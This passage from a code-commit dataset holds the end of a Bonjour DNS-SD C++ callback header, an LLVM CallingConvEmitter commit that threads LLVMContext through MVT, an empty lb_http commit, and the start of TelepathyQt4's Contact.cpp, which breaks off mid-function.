host's IP address.\n\t *\n\t * port:            The port, in network byte order, on which connections are accepted for this service.\n\t *\n\t * txtRecord:       The service's primary txt record, in standard txt record format.\n\t *\n\t * NOTE: In earlier versions of this header file, the txtRecord parameter was declared \"const char *\"\n\t * This is incorrect, since it contains length bytes which are values in the range 0 to 255, not -128 to +127.\n\t * Depending on your compiler settings, this change may cause signed\/unsigned mismatch warnings.\n\t * These should be fixed by updating your own callback function definition to match the corrected\n\t * function signature using \"const unsigned char *txtRecord\". Making this change may also fix inadvertent\n\t * bugs in your callback function, where it could have incorrectly interpreted a length byte with value 250\n\t * as being -6 instead, with various bad consequences ranging from incorrect operation to software crashes.\n\t * If you need to maintain portable code that will compile cleanly with both the old and new versions of\n\t * this header file, you should update your callback function definition to use the correct unsigned value,\n\t * and then in the place where you pass your callback function to DNSServiceResolve(), use a cast to eliminate\n\t * the compiler warning, e.g.:\n\t *   DNSServiceResolve(sd, flags, index, name, regtype, domain, (DNSServiceResolveReply)MyCallback, context);\n\t * This will ensure that your code compiles cleanly without warnings (and more importantly, works correctly)\n\t * with both the old header and with the new corrected version.\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\t\t\/\/\/ _3 error \n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _4 service name(fullname, format:<servicename>.<protocol>.<domain>) \n\t\tstd::string,\t\t\t\t\t\t\/\/\/ _5 host name ,This name can  be passed to functions like gethostbyname() to identify the host's IP address.\n\t\tboost::uint16_t,\t\t\t\t\t\/\/\/ _6 port\n\t\tTxtRecordDecoderPtr\t\t\t\t\t\/\/\/ _7 TxtRecordDecoder (include a copy of dns record)\n\t\t)\n\t\t>\t\tServiceResolverEvtCallback;\n\n\t\/\/\/ Event callback  for air::bonjour::AddressResolver\n\t\/* \n\t *\n\t * Queries for the IP address of a hostname by using either Multicast or Unicast DNS.\n\t *\n\t * parameters:\n\t *\n\t *\n\t * flags:           Possible values are kDNSServiceFlagsMoreComing and\n\t *                  kDNSServiceFlagsAdd.\n\t *\n\t * interfaceIndex:  The interface to which the answers pertain.\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError on success, otherwise will\n\t *                  indicate the failure that occurred.  Other parameters are\n\t *                  undefined if errorCode is nonzero.\n\t *\n\t * hostname:        The fully qualified domain name of the host to be queried for.\n\t *\n\t * address:         IPv4 or IPv6 address.\n\t *\n\t * ttl:             If the client wishes to cache the result for performance reasons,\n\t *                  the TTL indicates how long the client may legitimately hold onto\n\t *                  this result, in seconds. After the TTL expires, the client should\n\t *                  consider the result no longer valid, and if it requires this data\n\t *                  again, it should be re-fetched with a new query. Of course, this\n\t *                  only applies to clients that cancel the asynchronous operation when\n\t *                  they get a result. Clients that leave the asynchronous operation\n\t *                  running can safely assume that the data remains valid until they\n\t *                  get another callback telling them otherwise.\n\t *\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\/\/\/ _1 flags\n\t\tboost::uint32_t,\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\/\/\/ _3 error\n\t\tstd::string,\t\t\t\t\/\/\/ _4 hostname the hostname that you ask for rsolve address\n\t\tboost::asio::ip::address,\t\/\/\/ _5 address\trsolved address\n\t\tboost::uint32_t\t\t\t\t\/\/\/ _6 TTL indicates how long the client may legitimately hold onto this result(address), in seconds.\n\t\t)\n\t\t>\t\tAddressResolverEvtCallback;\n\n\t\/\/\/ Event callback  for air::bonjour::NatMappingService\n\t\/* \n\t *\n\t * Request a port mapping in the NAT gateway, which maps a port on the local machine\n\t * to an external port on the NAT.\n\t *\n\t * The port mapping will be renewed indefinitely until the client process exits, or\n\t * explicitly terminates the port mapping request by calling DNSServiceRefDeallocate().\n\t * The client callback will be invoked, informing the client of the NAT gateway's\n\t * external IP address and the external port that has been allocated for this client.\n\t * The client should then record this external IP address and port using whatever\n\t * directory service mechanism it is using to enable peers to connect to it.\n\t * (Clients advertising services using Wide-Area DNS-SD DO NOT need to use this API\n\t * -- when a client calls DNSServiceRegister() NAT mappings are automatically created\n\t * and the external IP address and port for the service are recorded in the global DNS.\n\t * Only clients using some directory mechanism other than Wide-Area DNS-SD need to use\n\t * this API to explicitly map their own ports.)\n\t *\n\t * It's possible that the client callback could be called multiple times, for example\n\t * if the NAT gateway's IP address changes, or if a configuration change results in a\n\t * different external port being mapped for this client. Over the lifetime of any long-lived\n\t * port mapping, the client should be prepared to handle these notifications of changes\n\t * in the environment, and should update its recorded address and\/or port as appropriate.\n\t *\n\t * NOTE: There are two unusual aspects of how the DNSServiceNATPortMappingCreate API works,\n\t * which were intentionally designed to help simplify client code:\n\t *\n\t *  1. It's not an error to request a NAT mapping when the machine is not behind a NAT gateway.\n\t *     In other NAT mapping APIs, if you request a NAT mapping and the machine is not behind a NAT\n\t *     gateway, then the API returns an error code -- it can't get you a NAT mapping if there's no\n\t *     NAT gateway. The DNSServiceNATPortMappingCreate API takes a different view. Working out\n\t *     whether or not you need a NAT mapping can be tricky and non-obvious, particularly on\n\t *     a machine with multiple active network interfaces. Rather than make every client recreate\n\t *     this logic for deciding whether a NAT mapping is required, the PortMapping API does that\n\t *     work for you. If the client calls the PortMapping API when the machine already has a\n\t *     routable public IP address, then instead of complaining about it and giving an error,\n\t *     the PortMapping API just invokes your callback, giving the machine's public address\n\t *     and your own port number. This means you don't need to write code to work out whether\n\t *     your client needs to call the PortMapping API -- just call it anyway, and if it wasn't\n\t *     necessary, no harm is done:\n\t *\n\t *     - If the machine already has a routable public IP address, then your callback\n\t *       will just be invoked giving your own address and port.\n\t *     - If a NAT mapping is required and obtained, then your callback will be invoked\n\t *       giving you the external address and port.\n\t *     - If a NAT mapping is required but not obtained from the local NAT gateway,\n\t *       or the machine has no network connectivity, then your callback will be\n\t *       invoked giving zero address and port.\n\t *\n\t *  2. In other NAT mapping APIs, if a laptop computer is put to sleep and woken up on a new\n\t *     network, it's the client's job to notice this, and work out whether a NAT mapping\n\t *     is required on the new network, and make a new NAT mapping request if necessary.\n\t *     The DNSServiceNATPortMappingCreate API does this for you, automatically.\n\t *     The client just needs to make one call to the PortMapping API, and its callback will\n\t *     be invoked any time the mapping state changes. This property complements point (1) above.\n\t *     If the client didn't make a NAT mapping request just because it determined that one was\n\t *     not required at that particular moment in time, the client would then have to monitor\n\t *     for network state changes to determine if a NAT port mapping later became necessary.\n\t *     By unconditionally making a NAT mapping request, even when a NAT mapping not to be\n\t *     necessary, the PortMapping API will then begin monitoring network state changes on behalf of\n\t *     the client, and if a NAT mapping later becomes necessary, it will automatically create a NAT\n\t *     mapping and inform the client with a new callback giving the new address and port information.\n\t *\n\t * parameters:\n\t *\n\t *\n\t * flags:           Currently unused, reserved for future use.\n\t *\n\t * interfaceIndex:  The interface through which the NAT gateway is reached.\n\t *\n\t * errorCode:       Will be kDNSServiceErr_NoError on success.\n\t *                  Will be kDNSServiceErr_DoubleNAT when the NAT gateway is itself behind one or\n\t *                  more layers of NAT, in which case the other parameters have the defined values.\n\t *                  For other failures, will indicate the failure that occurred, and the other\n\t *                  parameters are undefined.\n\t *\n\t * externalAddress: Four byte IPv4 address in network byte order.\n\t *\n\t * protocol:        Will be kDNSServiceProtocol_UDP or kDNSServiceProtocol_TCP or both.\n\t *\n\t * internalPort:    The port on the local machine that was mapped.\n\t *\n\t * externalPort:    The actual external port in the NAT gateway that was mapped.\n\t *                  This is likely to be different than the requested external port.\n\t *\n\t * ttl:             The lifetime of the NAT port mapping created on the gateway.\n\t *                  This controls how quickly stale mappings will be garbage-collected\n\t *                  if the client machine crashes, suffers a power failure, is disconnected\n\t *                  from the network, or suffers some other unfortunate demise which\n\t *                  causes it to vanish without explicitly removing its NAT port mapping.\n\t *                  It's possible that the ttl value will differ from the requested ttl value.\n\t *\n\t *\n\t *\/\n\ttypedef boost::function\n\t\t<\n\t\tvoid\n\t\t(\n\t\tDNSServiceFlags,\t\t\t\/\/\/ _1 flags,Currently unused, reserved for future use\n\t\tboost::uint32_t,\t\t\t\/\/\/ _2 interfaceIndex\n\t\tair::bonjour::BonjourError,\t\/\/\/ _3 error\n\t\tboost::uint16_t,\t\t\t\/\/\/ _6 internal port\n\t\tboost::asio::ip::address,\t\/\/\/ _4 external address\n\t\tboost::uint16_t,\t\t\t\/\/\/ _5 external port,may be different than the requested port\n\t\tair::bonjour::ProtoType,\t\/\/\/ _6 protocol used for nat mapping\n\t\tboost::uint32_t,\t\t\t\/\/\/ _7 TTL , in seconds.indicates The lifetime of the NAT port mapping created on the gateway.\n\t\tair::bonjour::NatStatus\t\t\/\/\/ _8 NatStatus ,used to check nat status if error==true\n\t\t)\n\t\t>\t\tNatMapingEvtCallback;\n\n\n\n}\/\/namespace\n}\/\/namespace\n#endif\/\/BONJOUR_DNSD_CALLBACK_FUNC_DEF_H__<|endoftext|>"}
{"text":"<commit_before>\/\/===- CallingConvEmitter.cpp - Generate calling conventions --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend is responsible for emitting descriptions of the calling\n\/\/ conventions supported by this target.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"CallingConvEmitter.h\"\n#include \"Record.h\"\n#include \"CodeGenTarget.h\"\nusing namespace llvm;\n\nvoid CallingConvEmitter::run(raw_ostream &O) {\n  EmitSourceFileHeader(\"Calling Convention Implementation Fragment\", O);\n\n  std::vector<Record*> CCs = Records.getAllDerivedDefinitions(\"CallingConv\");\n  \n  \/\/ Emit prototypes for all of the CC's so that they can forward ref each\n  \/\/ other.\n  for (unsigned i = 0, e = CCs.size(); i != e; ++i) {\n    O << \"static bool \" << CCs[i]->getName()\n      << \"(unsigned ValNo, MVT ValVT,\\n\"\n      << std::string(CCs[i]->getName().size()+13, ' ')\n      << \"MVT LocVT, CCValAssign::LocInfo LocInfo,\\n\"\n      << std::string(CCs[i]->getName().size()+13, ' ')\n      << \"ISD::ArgFlagsTy ArgFlags, CCState &State);\\n\";\n  }\n  \n  \/\/ Emit each calling convention description in full.\n  for (unsigned i = 0, e = CCs.size(); i != e; ++i)\n    EmitCallingConv(CCs[i], O);\n}\n\n\nvoid CallingConvEmitter::EmitCallingConv(Record *CC, raw_ostream &O) {\n  ListInit *CCActions = CC->getValueAsListInit(\"Actions\");\n  Counter = 0;\n\n  O << \"\\n\\nstatic bool \" << CC->getName()\n    << \"(unsigned ValNo, MVT ValVT,\\n\"\n    << std::string(CC->getName().size()+13, ' ')\n    << \"MVT LocVT, CCValAssign::LocInfo LocInfo,\\n\"\n    << std::string(CC->getName().size()+13, ' ')\n    << \"ISD::ArgFlagsTy ArgFlags, CCState &State) {\\n\";\n  \/\/ Emit all of the actions, in order.\n  for (unsigned i = 0, e = CCActions->getSize(); i != e; ++i) {\n    O << \"\\n\";\n    EmitAction(CCActions->getElementAsRecord(i), 2, O);\n  }\n  \n  O << \"\\n  return true;  \/\/ CC didn't match.\\n\";\n  O << \"}\\n\";\n}\n\nvoid CallingConvEmitter::EmitAction(Record *Action,\n                                    unsigned Indent, raw_ostream &O) {\n  std::string IndentStr = std::string(Indent, ' ');\n  \n  if (Action->isSubClassOf(\"CCPredicateAction\")) {\n    O << IndentStr << \"if (\";\n    \n    if (Action->isSubClassOf(\"CCIfType\")) {\n      ListInit *VTs = Action->getValueAsListInit(\"VTs\");\n      for (unsigned i = 0, e = VTs->getSize(); i != e; ++i) {\n        Record *VT = VTs->getElementAsRecord(i);\n        if (i != 0) O << \" ||\\n    \" << IndentStr;\n        O << \"LocVT == \" << getEnumName(getValueType(VT));\n      }\n\n    } else if (Action->isSubClassOf(\"CCIf\")) {\n      O << Action->getValueAsString(\"Predicate\");\n    } else {\n      Action->dump();\n      throw \"Unknown CCPredicateAction!\";\n    }\n    \n    O << \") {\\n\";\n    EmitAction(Action->getValueAsDef(\"SubAction\"), Indent+2, O);\n    O << IndentStr << \"}\\n\";\n  } else {\n    if (Action->isSubClassOf(\"CCDelegateTo\")) {\n      Record *CC = Action->getValueAsDef(\"CC\");\n      O << IndentStr << \"if (!\" << CC->getName()\n        << \"(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))\\n\"\n        << IndentStr << \"  return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToReg\")) {\n      ListInit *RegList = Action->getValueAsListInit(\"RegList\");\n      if (RegList->getSize() == 1) {\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(\";\n        O << getQualifiedName(RegList->getElementAsRecord(0)) << \")) {\\n\";\n      } else {\n        O << IndentStr << \"static const unsigned RegList\" << ++Counter\n          << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = RegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(RegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(RegList\"\n          << Counter << \", \" << RegList->getSize() << \")) {\\n\";\n      }\n      O << IndentStr << \"  State.addLoc(CCValAssign::getReg(ValNo, ValVT, \"\n        << \"Reg, LocVT, LocInfo));\\n\";\n      O << IndentStr << \"  return false;\\n\";\n      O << IndentStr << \"}\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToRegWithShadow\")) {\n      ListInit *RegList = Action->getValueAsListInit(\"RegList\");\n      ListInit *ShadowRegList = Action->getValueAsListInit(\"ShadowRegList\");\n      if (ShadowRegList->getSize() >0 &&\n          ShadowRegList->getSize() != RegList->getSize())\n        throw \"Invalid length of list of shadowed registers\";\n\n      if (RegList->getSize() == 1) {\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(\";\n        O << getQualifiedName(RegList->getElementAsRecord(0));\n        O << \", \" << getQualifiedName(ShadowRegList->getElementAsRecord(0));\n        O << \")) {\\n\";\n      } else {\n        unsigned RegListNumber = ++Counter;\n        unsigned ShadowRegListNumber = ++Counter;\n\n        O << IndentStr << \"static const unsigned RegList\" << RegListNumber\n          << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = RegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(RegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n\n        O << IndentStr << \"static const unsigned RegList\"\n          << ShadowRegListNumber << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = ShadowRegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(ShadowRegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(RegList\"\n          << RegListNumber << \", \" << \"RegList\" << ShadowRegListNumber\n          << \", \" << RegList->getSize() << \")) {\\n\";\n      }\n      O << IndentStr << \"  State.addLoc(CCValAssign::getReg(ValNo, ValVT, \"\n        << \"Reg, LocVT, LocInfo));\\n\";\n      O << IndentStr << \"  return false;\\n\";\n      O << IndentStr << \"}\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToStack\")) {\n      int Size = Action->getValueAsInt(\"Size\");\n      int Align = Action->getValueAsInt(\"Align\");\n\n      O << IndentStr << \"unsigned Offset\" << ++Counter\n        << \" = State.AllocateStack(\";\n      if (Size)\n        O << Size << \", \";\n      else\n        O << \"\\n\" << IndentStr << \"  State.getTarget().getTargetData()\"\n          \"->getTypeAllocSize(LocVT.getTypeForMVT()), \";\n      if (Align)\n        O << Align;\n      else\n        O << \"\\n\" << IndentStr << \"  State.getTarget().getTargetData()\"\n          \"->getABITypeAlignment(LocVT.getTypeForMVT())\";\n      O << \");\\n\" << IndentStr\n        << \"State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset\"\n        << Counter << \", LocVT, LocInfo));\\n\";\n      O << IndentStr << \"return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCPromoteToType\")) {\n      Record *DestTy = Action->getValueAsDef(\"DestTy\");\n      O << IndentStr << \"LocVT = \" << getEnumName(getValueType(DestTy)) <<\";\\n\";\n      O << IndentStr << \"if (ArgFlags.isSExt())\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::SExt;\\n\"\n        << IndentStr << \"else if (ArgFlags.isZExt())\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::ZExt;\\n\"\n        << IndentStr << \"else\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::AExt;\\n\";\n    } else if (Action->isSubClassOf(\"CCBitConvertToType\")) {\n      Record *DestTy = Action->getValueAsDef(\"DestTy\");\n      O << IndentStr << \"LocVT = \" << getEnumName(getValueType(DestTy)) <<\";\\n\";\n      O << IndentStr << \"LocInfo = CCValAssign::BCvt;\\n\";\n    } else if (Action->isSubClassOf(\"CCPassByVal\")) {\n      int Size = Action->getValueAsInt(\"Size\");\n      int Align = Action->getValueAsInt(\"Align\");\n      O << IndentStr\n        << \"State.HandleByVal(ValNo, ValVT, LocVT, LocInfo, \"\n        << Size << \", \" << Align << \", ArgFlags);\\n\";\n      O << IndentStr << \"return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCCustom\")) {\n      O << IndentStr\n        << \"if (\" << Action->getValueAsString(\"FuncName\") << \"(ValNo, ValVT, \"\n        << \"LocVT, LocInfo, ArgFlags, State))\\n\";\n      O << IndentStr << IndentStr << \"return false;\\n\";\n    } else {\n      Action->dump();\n      throw \"Unknown CCAction!\";\n    }\n  }\n}\n<commit_msg>Thread LLVMContext through MVT and related parts of SDISel.<commit_after>\/\/===- CallingConvEmitter.cpp - Generate calling conventions --------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This tablegen backend is responsible for emitting descriptions of the calling\n\/\/ conventions supported by this target.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"CallingConvEmitter.h\"\n#include \"Record.h\"\n#include \"CodeGenTarget.h\"\nusing namespace llvm;\n\nvoid CallingConvEmitter::run(raw_ostream &O) {\n  EmitSourceFileHeader(\"Calling Convention Implementation Fragment\", O);\n\n  std::vector<Record*> CCs = Records.getAllDerivedDefinitions(\"CallingConv\");\n  \n  \/\/ Emit prototypes for all of the CC's so that they can forward ref each\n  \/\/ other.\n  for (unsigned i = 0, e = CCs.size(); i != e; ++i) {\n    O << \"static bool \" << CCs[i]->getName()\n      << \"(unsigned ValNo, MVT ValVT,\\n\"\n      << std::string(CCs[i]->getName().size()+13, ' ')\n      << \"MVT LocVT, CCValAssign::LocInfo LocInfo,\\n\"\n      << std::string(CCs[i]->getName().size()+13, ' ')\n      << \"ISD::ArgFlagsTy ArgFlags, CCState &State);\\n\";\n  }\n  \n  \/\/ Emit each calling convention description in full.\n  for (unsigned i = 0, e = CCs.size(); i != e; ++i)\n    EmitCallingConv(CCs[i], O);\n}\n\n\nvoid CallingConvEmitter::EmitCallingConv(Record *CC, raw_ostream &O) {\n  ListInit *CCActions = CC->getValueAsListInit(\"Actions\");\n  Counter = 0;\n\n  O << \"\\n\\nstatic bool \" << CC->getName()\n    << \"(unsigned ValNo, MVT ValVT,\\n\"\n    << std::string(CC->getName().size()+13, ' ')\n    << \"MVT LocVT, CCValAssign::LocInfo LocInfo,\\n\"\n    << std::string(CC->getName().size()+13, ' ')\n    << \"ISD::ArgFlagsTy ArgFlags, CCState &State) {\\n\";\n  \/\/ Emit all of the actions, in order.\n  for (unsigned i = 0, e = CCActions->getSize(); i != e; ++i) {\n    O << \"\\n\";\n    EmitAction(CCActions->getElementAsRecord(i), 2, O);\n  }\n  \n  O << \"\\n  return true;  \/\/ CC didn't match.\\n\";\n  O << \"}\\n\";\n}\n\nvoid CallingConvEmitter::EmitAction(Record *Action,\n                                    unsigned Indent, raw_ostream &O) {\n  std::string IndentStr = std::string(Indent, ' ');\n  \n  if (Action->isSubClassOf(\"CCPredicateAction\")) {\n    O << IndentStr << \"if (\";\n    \n    if (Action->isSubClassOf(\"CCIfType\")) {\n      ListInit *VTs = Action->getValueAsListInit(\"VTs\");\n      for (unsigned i = 0, e = VTs->getSize(); i != e; ++i) {\n        Record *VT = VTs->getElementAsRecord(i);\n        if (i != 0) O << \" ||\\n    \" << IndentStr;\n        O << \"LocVT == \" << getEnumName(getValueType(VT));\n      }\n\n    } else if (Action->isSubClassOf(\"CCIf\")) {\n      O << Action->getValueAsString(\"Predicate\");\n    } else {\n      Action->dump();\n      throw \"Unknown CCPredicateAction!\";\n    }\n    \n    O << \") {\\n\";\n    EmitAction(Action->getValueAsDef(\"SubAction\"), Indent+2, O);\n    O << IndentStr << \"}\\n\";\n  } else {\n    if (Action->isSubClassOf(\"CCDelegateTo\")) {\n      Record *CC = Action->getValueAsDef(\"CC\");\n      O << IndentStr << \"if (!\" << CC->getName()\n        << \"(ValNo, ValVT, LocVT, LocInfo, ArgFlags, State))\\n\"\n        << IndentStr << \"  return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToReg\")) {\n      ListInit *RegList = Action->getValueAsListInit(\"RegList\");\n      if (RegList->getSize() == 1) {\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(\";\n        O << getQualifiedName(RegList->getElementAsRecord(0)) << \")) {\\n\";\n      } else {\n        O << IndentStr << \"static const unsigned RegList\" << ++Counter\n          << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = RegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(RegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(RegList\"\n          << Counter << \", \" << RegList->getSize() << \")) {\\n\";\n      }\n      O << IndentStr << \"  State.addLoc(CCValAssign::getReg(ValNo, ValVT, \"\n        << \"Reg, LocVT, LocInfo));\\n\";\n      O << IndentStr << \"  return false;\\n\";\n      O << IndentStr << \"}\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToRegWithShadow\")) {\n      ListInit *RegList = Action->getValueAsListInit(\"RegList\");\n      ListInit *ShadowRegList = Action->getValueAsListInit(\"ShadowRegList\");\n      if (ShadowRegList->getSize() >0 &&\n          ShadowRegList->getSize() != RegList->getSize())\n        throw \"Invalid length of list of shadowed registers\";\n\n      if (RegList->getSize() == 1) {\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(\";\n        O << getQualifiedName(RegList->getElementAsRecord(0));\n        O << \", \" << getQualifiedName(ShadowRegList->getElementAsRecord(0));\n        O << \")) {\\n\";\n      } else {\n        unsigned RegListNumber = ++Counter;\n        unsigned ShadowRegListNumber = ++Counter;\n\n        O << IndentStr << \"static const unsigned RegList\" << RegListNumber\n          << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = RegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(RegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n\n        O << IndentStr << \"static const unsigned RegList\"\n          << ShadowRegListNumber << \"[] = {\\n\";\n        O << IndentStr << \"  \";\n        for (unsigned i = 0, e = ShadowRegList->getSize(); i != e; ++i) {\n          if (i != 0) O << \", \";\n          O << getQualifiedName(ShadowRegList->getElementAsRecord(i));\n        }\n        O << \"\\n\" << IndentStr << \"};\\n\";\n\n        O << IndentStr << \"if (unsigned Reg = State.AllocateReg(RegList\"\n          << RegListNumber << \", \" << \"RegList\" << ShadowRegListNumber\n          << \", \" << RegList->getSize() << \")) {\\n\";\n      }\n      O << IndentStr << \"  State.addLoc(CCValAssign::getReg(ValNo, ValVT, \"\n        << \"Reg, LocVT, LocInfo));\\n\";\n      O << IndentStr << \"  return false;\\n\";\n      O << IndentStr << \"}\\n\";\n    } else if (Action->isSubClassOf(\"CCAssignToStack\")) {\n      int Size = Action->getValueAsInt(\"Size\");\n      int Align = Action->getValueAsInt(\"Align\");\n\n      O << IndentStr << \"unsigned Offset\" << ++Counter\n        << \" = State.AllocateStack(\";\n      if (Size)\n        O << Size << \", \";\n      else\n        O << \"\\n\" << IndentStr << \"  State.getTarget().getTargetData()\"\n          \"->getTypeAllocSize(LocVT.getTypeForMVT(*State.getContext())), \";\n      if (Align)\n        O << Align;\n      else\n        O << \"\\n\" << IndentStr << \"  State.getTarget().getTargetData()\"\n          \"->getABITypeAlignment(LocVT.getTypeForMVT(*State.getContext()))\";\n      O << \");\\n\" << IndentStr\n        << \"State.addLoc(CCValAssign::getMem(ValNo, ValVT, Offset\"\n        << Counter << \", LocVT, LocInfo));\\n\";\n      O << IndentStr << \"return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCPromoteToType\")) {\n      Record *DestTy = Action->getValueAsDef(\"DestTy\");\n      O << IndentStr << \"LocVT = \" << getEnumName(getValueType(DestTy)) <<\";\\n\";\n      O << IndentStr << \"if (ArgFlags.isSExt())\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::SExt;\\n\"\n        << IndentStr << \"else if (ArgFlags.isZExt())\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::ZExt;\\n\"\n        << IndentStr << \"else\\n\"\n        << IndentStr << IndentStr << \"LocInfo = CCValAssign::AExt;\\n\";\n    } else if (Action->isSubClassOf(\"CCBitConvertToType\")) {\n      Record *DestTy = Action->getValueAsDef(\"DestTy\");\n      O << IndentStr << \"LocVT = \" << getEnumName(getValueType(DestTy)) <<\";\\n\";\n      O << IndentStr << \"LocInfo = CCValAssign::BCvt;\\n\";\n    } else if (Action->isSubClassOf(\"CCPassByVal\")) {\n      int Size = Action->getValueAsInt(\"Size\");\n      int Align = Action->getValueAsInt(\"Align\");\n      O << IndentStr\n        << \"State.HandleByVal(ValNo, ValVT, LocVT, LocInfo, \"\n        << Size << \", \" << Align << \", ArgFlags);\\n\";\n      O << IndentStr << \"return false;\\n\";\n    } else if (Action->isSubClassOf(\"CCCustom\")) {\n      O << IndentStr\n        << \"if (\" << Action->getValueAsString(\"FuncName\") << \"(ValNo, ValVT, \"\n        << \"LocVT, LocInfo, ArgFlags, State))\\n\";\n      O << IndentStr << IndentStr << \"return false;\\n\";\n    } else {\n      Action->dump();\n      throw \"Unknown CCAction!\";\n    }\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>lb_http: use LbClusterConfig::sticky_mode<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * This file is part of TelepathyQt4\n *\n * Copyright (C) 2008 Collabora Ltd. <http:\/\/www.collabora.co.uk\/>\n * Copyright (C) 2008 Nokia Corporation\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n#include <TelepathyQt4\/Client\/Contact>\n#include \"TelepathyQt4\/Client\/_gen\/contact.moc.hpp\"\n\n#include <TelepathyQt4\/Client\/Connection>\n#include <TelepathyQt4\/Client\/ContactManager>\n#include <TelepathyQt4\/Client\/ReferencedHandles>\n#include <TelepathyQt4\/Constants>\n\n#include \"TelepathyQt4\/debug-internal.h\"\n\nnamespace Telepathy\n{\nnamespace Client\n{\n\nstruct Contact::Private\n{\n    Private(ContactManager *manager, const ReferencedHandles &handle)\n        : manager(manager), handle(handle), isAvatarTokenKnown(false),\n          subscriptionState(PresenceStateNo), publishState(PresenceStateNo)\n    {\n    }\n\n    ContactManager *manager;\n    ReferencedHandles handle;\n    QString id;\n\n    QSet<Feature> requestedFeatures;\n    QSet<Feature> actualFeatures;\n\n    QString alias;\n    bool isAvatarTokenKnown;\n    QString avatarToken;\n    SimplePresence simplePresence;\n\n    PresenceState subscriptionState;\n    PresenceState publishState;\n};\n\nContactManager *Contact::manager() const\n{\n    return mPriv->manager;\n}\n\nReferencedHandles Contact::handle() const\n{\n    return mPriv->handle;\n}\n\nQString Contact::id() const\n{\n    return mPriv->id;\n}\n\nQSet<Contact::Feature> Contact::requestedFeatures() const\n{\n    return mPriv->requestedFeatures;\n}\n\nQSet<Contact::Feature> Contact::actualFeatures() const\n{\n    return mPriv->actualFeatures;\n}\n\nQString Contact::alias() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAlias)) {\n        warning() << \"Contact::alias() used on\" << this\n            << \"for which FeatureAlias hasn't been requested - returning id\";\n        return id();\n    }\n\n    return mPriv->alias;\n}\n\nbool Contact::isAvatarTokenKnown() const\n{\n    if (!mPriv->requestedFeatures.contains(FeatureAvatarToken)) {\n        warning() << \"Contact::isAvatarTokenKnown() used on\" << this\n            << \"for which FeatureAvatarToken hasn't been requested - returning false\";\n        return false;\n    }\n\n    return 